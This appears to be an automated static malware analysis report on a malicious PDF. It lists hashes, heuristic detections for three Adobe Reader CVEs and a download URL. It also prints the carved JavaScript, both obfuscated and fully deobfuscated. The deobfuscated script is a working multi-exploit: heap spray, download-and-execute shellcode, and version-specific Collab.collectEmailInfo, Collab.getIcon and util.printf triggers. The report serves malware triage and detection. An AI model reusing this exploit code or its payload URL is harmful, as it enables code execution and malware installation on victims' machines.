Malicious PDF — malware analysis report

Static analysis result for SHA-256 b84864829e4c2f42…

MALICIOUS

PDF

4.5 KB Created: 2009-31-08 49:46:30 +03:00 Authoring application: fackoPDF 6.05 (via BCL macroPDF 6.06) First seen: 2026-05-08
MD5: 3bebf0e4ec2fc3e2777ca8f0fde52163 SHA-1: d32beafe4f5913739cae22d00eace5cf85153d63 SHA-256: b84864829e4c2f42308693b1b3a24c42e213001fd14ec3dbc38bac1bcb6a88d6
392 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Quoted-hex fragment JavaScript stager high PDF_QUOTED_HEX_FRAGMENT_JS_STAGER
    PDF JavaScript stores the hidden exploit stage as many quoted hexadecimal fragments, joins them through helper functions, and evals the recovered JavaScript. The decoder is bounded and only fires when the recovered stage contains concrete Acrobat exploit APIs or heap-spray shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSEOF. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://2sdfhs8d7fsh34d8f7s.org/www/getexe.php Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0015_000.js pdf-javascript-stream PDF /JS object 15 at offset 0x317 9260 bytes
SHA-256: 7a52eae51beb5444c20d187178146fdef6438bfadbe457b4212df470f67172a4
Preview script
First 1,000 lines of the extracted script
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vxoskhi5SoLYOmRiv=C9KEKr("", nwLT0m);return vxoskhi5SoLYOmRiv;}function tVdsNqTrqxBMP9AHt() {var nwLT0m=new Array('66756e6374696f6e20666254616736','56646a4765574a','697130284a4c6e','5264544e78434258644d5a4e6d297b20','2020207661722053714e72767355','653039425371326252203d','2030783063306330','6330633b20','2020207661722077507431744779365356697036','366348203d2075','6e657363617065282225','754330333325','753842363425753330343025','7530433738','25753430384225753842304325753143373025','7538424144257530383538257530','394542257534303842257538443334257537','4334302575353838422575364133432575354134','3425754532443125754532','32422575454338422575','34464542257535','3235412575454138','33257538393536257530343535');var A1yKoJtD7Lv2GJ9lx=C9KEKr("", nwLT0m);return A1yKoJtD7Lv2GJ9lx;}function bU2dSCzrLA9E39CNx() {var nwLT0m=new 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nwLT0m=new Array('636a373536202d202847','78374f453554676143576748397844','202b203078333829','3b20202020766172207246596a41356275','78656c326d33344a203d20756e65736361706528','2225753930393025753930393022293b202020','207246596a4135627578656c32','6d33344a203d20506f6f426e786e3335','32327446694c','53287246596a41356275','78656c326d33344a2c2056735664714967764b69','6f5a5241336a293b20','202020766172204636367a69','6232544a563633','62303838203d202853714e72767355653039','425371326252202d20','307834303030303029202f20617a397273','6357326c6855636a3735363b2020','2020666f7220287661','72206645564c497a327342','585a54675767','6e203d20303b','206645564c497a327342585a546757676e','203c204636367a696232544a563633623038383b','206645564c497a','327342585a5467','57676e202b2b20297b2020202020204c4f596d65');var zljcpA7gLdJ8Wub3V=C9KEKr("", nwLT0m);return zljcpA7gLdJ8Wub3V;}function RC19Qc6lpDcPCO0pD() {var nwLT0m=new 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Array('2020202020206662546167365664','6a4765574a6971302830293b2020202020','20766172206e626e6537345030','736474455a514347203d','20756e6573636170','6528222575','3063306325753063306322293b','202020202020','7768696c6520286e','626e653734503073','6474455a5143472e6c656e6774','68203c2034','34393532296e626e6537345030736474455a','514347202b3d206e626e653734503073647445','5a5143473b20202020202074686973202e','636f6c6c61625374','6f7265203d20436f6c6c6162','2e636f6c6c656374456d61696c','496e666f287b','2020202020','2020207375626a203a2022222c20','6d7367203a206e62','6e65373450307364','74455a5143472020202020207d202020');var TJCCiKq7oyhIFiQcT=C9KEKr("", nwLT0m);return TJCCiKq7oyhIFiQcT;}function mjyeFZe78WcDbwPoe() {var nwLT0m=new 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JpkMMMayIznxjSiG7() {var nwLT0m=new Array('206b5a544e5a5647','6b3470456a4c765878203d20313b202020202020','20207d2020202020207d20','20202020206361746368202865297b20','202020202020206b5a','544e5a56476b3470456a4c765878203d','20313b2020202020207d2020202020206966','20286b5a544e5a56476b3470456a','4c765878203d3d2031297b202020','20202020206966202828454b48353035','6c55785552794c56385020','3e3d20372e3126262045','4b483530356c55785552794c563850203c203929','297b202020','2020202020202066625461673656646a47','65574a6971302831293b20202020202020202020','766172207a30364a','43565436304d4a696d567958','203d2022313239393939393939393939393939','3939393939223b20','202020202020202020666f722028594a53585173','343269587835304b574d203d20303b2059','4a53585173343269587835304b574d203c','203237363b20594a535851733432695878','35304b574d202b2b20','297b20202020202020202020','20207a30364a43565436304d','4a696d567958202b3d202238223b202020202020','202020207d202020202020','202020207574696c2e7072696e','7466282225343530303066222c207a30364a43','565436304d4a696d567958293b','2020202020','2020207d202020202020','7d202020207d20','207d20206170702e4e62666638396b47','563579495a77705a203d','20446d6e4a4e706e674b7369773271','34393b2020625a7437517656736a73');var b81MOV14DXRtj60Yp=C9KEKr("", nwLT0m);return b81MOV14DXRtj60Yp;}function o7tU7gRp0A7GLEGid() {var nwLT0m=new Array('337235394733203d2061','70702e73657454696d654f75','7428226170702e4e62666638','396b47563579495a7770','5a2829222c203130293b2020');var ligzG8tzD4Y3aTEhN=C9KEKr("", nwLT0m);return ligzG8tzD4Y3aTEhN;}var kAdDLkT=XK9SeBbGmsCbUzTJW()/*GHaK3r&a3*/+tVdsNqTrqxBMP9AHt()/*GHaK3r&a3*/+bU2dSCzrLA9E39CNx()/*GHaK3r&a3*/+FmaNxjb1soNpKf1xI()/*GHaK3r&a3*/+yVbNJyDeeDbwKC9ra()/*GHaK3r&a3*/+RC19Qc6lpDcPCO0pD()/*GHaK3r&a3*/+EMlwaOMmmVbzqXsW7()/*GHaK3r&a3*/+mjyeFZe78WcDbwPoe()/*GHaK3r&a3*/+JpkMMMayIznxjSiG7()/*GHaK3r&a3*/+o7tU7gRp0A7GLEGid();var cnZKYH="";for (var h=0;h<kAdDLkT.length;h++) {cnZKYH=cnZKYH+"%"+kAdDLkT[h]+kAdDLkT[h+1];h++;}cUEDQH(cnZKYH);
quoted_hex_fragment_stage_000.js deobfuscated-js quoted-hex fragment decoded JavaScript object 15 at offset 0x3F1 3334 bytes
SHA-256: d45819a287ac9c4a14540cf1f7da60ed5d7dc9229aee58fee8687a2e7ac94380
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). 20 of 38 identifiers look randomly generated (e.g. 'az9rscW2lhUcj756') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var LOYmez0bE7EzoDhS = new Array();  var bZt7QvVsjs3r59G3;  function PooBnxn3522tFiLS(rFYjA5buxel2m34J, VsVdqIgvKioZRA3j){    while (rFYjA5buxel2m34J.length * 2 < VsVdqIgvKioZRA3j){      rFYjA5buxel2m34J += rFYjA5buxel2m34J;    }    rFYjA5buxel2m34J = rFYjA5buxel2m34J.substring(0, VsVdqIgvKioZRA3j / 2);    return rFYjA5buxel2m34J;  }  function fbTag6VdjGeWJiq0(JLnRdTNxCBXdMZNm){    var SqNrvsUe09BSq2bR = 0x0c0c0c0c;    var wPt1tGy6SVip66cH = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u322F%u6473%u6866%u3873%u3764%u7366%u3368%u6434%u6638%u7337%u6F2E%u6772%u772F%u7777%u672F%u7465%u7865%u2E65%u6870%u0070");    if (JLnRdTNxCBXdMZNm == 1){      SqNrvsUe09BSq2bR = 0x30303030;    }    var az9rscW2lhUcj756 = 0x400000;    var Gx7OE5TgaCWgH9xD = wPt1tGy6SVip66cH.length * 2;    var VsVdqIgvKioZRA3j = az9rscW2lhUcj756 - (Gx7OE5TgaCWgH9xD + 0x38);    var rFYjA5buxel2m34J = unescape("%u9090%u9090");    rFYjA5buxel2m34J = PooBnxn3522tFiLS(rFYjA5buxel2m34J, VsVdqIgvKioZRA3j);    var F66zib2TJV63b088 = (SqNrvsUe09BSq2bR - 0x400000) / az9rscW2lhUcj756;    for (var fEVLIz2sBXZTgWgn = 0; fEVLIz2sBXZTgWgn < F66zib2TJV63b088; fEVLIz2sBXZTgWgn ++ ){      LOYmez0bE7EzoDhS[fEVLIz2sBXZTgWgn] = rFYjA5buxel2m34J + wPt1tGy6SVip66cH;    }  }  function DmnJNpngKsiw2q49(){    var kZTNZVGk4pEjLvXx = 0;    var EKH505lUxURyLV8P = app.viewerVersion.toString();    app.clearTimeOut(bZt7QvVsjs3r59G3);      if (EKH505lUxURyLV8P < 7.1){      fbTag6VdjGeWJiq0(0);      var nbne74P0sdtEZQCG = unescape("%u0c0c%u0c0c");      while (nbne74P0sdtEZQCG.length < 44952)nbne74P0sdtEZQCG += nbne74P0sdtEZQCG;      this .collabStore = Collab.collectEmailInfo({        subj : "", msg : nbne74P0sdtEZQCG      }      );    }  if (EKH505lUxURyLV8P >= 9){      try {  if (app.doc.Collab.getIcon){          fbTag6VdjGeWJiq0(2);          var KTLuY7PVbqUwMbMR = unescape("%09");          while (KTLuY7PVbqUwMbMR.length < 0x4000)KTLuY7PVbqUwMbMR += KTLuY7PVbqUwMbMR;          KTLuY7PVbqUwMbMR = "N." + KTLuY7PVbqUwMbMR;  app.doc.Collab.getIcon(KTLuY7PVbqUwMbMR);          kZTNZVGk4pEjLvXx = 1;        }        else {          kZTNZVGk4pEjLvXx = 1;        }      }      catch (e){        kZTNZVGk4pEjLvXx = 1;      }      if (kZTNZVGk4pEjLvXx == 1){        if ((EKH505lUxURyLV8P >= 7.1&& EKH505lUxURyLV8P < 9)){          fbTag6VdjGeWJiq0(1);          var z06JCVT60MJimVyX = "12999999999999999999";          for (YJSXQs42iXx50KWM = 0; YJSXQs42iXx50KWM < 276; YJSXQs42iXx50KWM ++ ){            z06JCVT60MJimVyX += "8";          }          util.printf("%45000f", z06JCVT60MJimVyX);        }      }    }  }  app.Nbff89kGV5yIZwpZ = DmnJNpngKsiw2q49;  bZt7QvVsjs3r59G3 = app.setTimeOut("app.Nbff89kGV5yIZwpZ()", 10);

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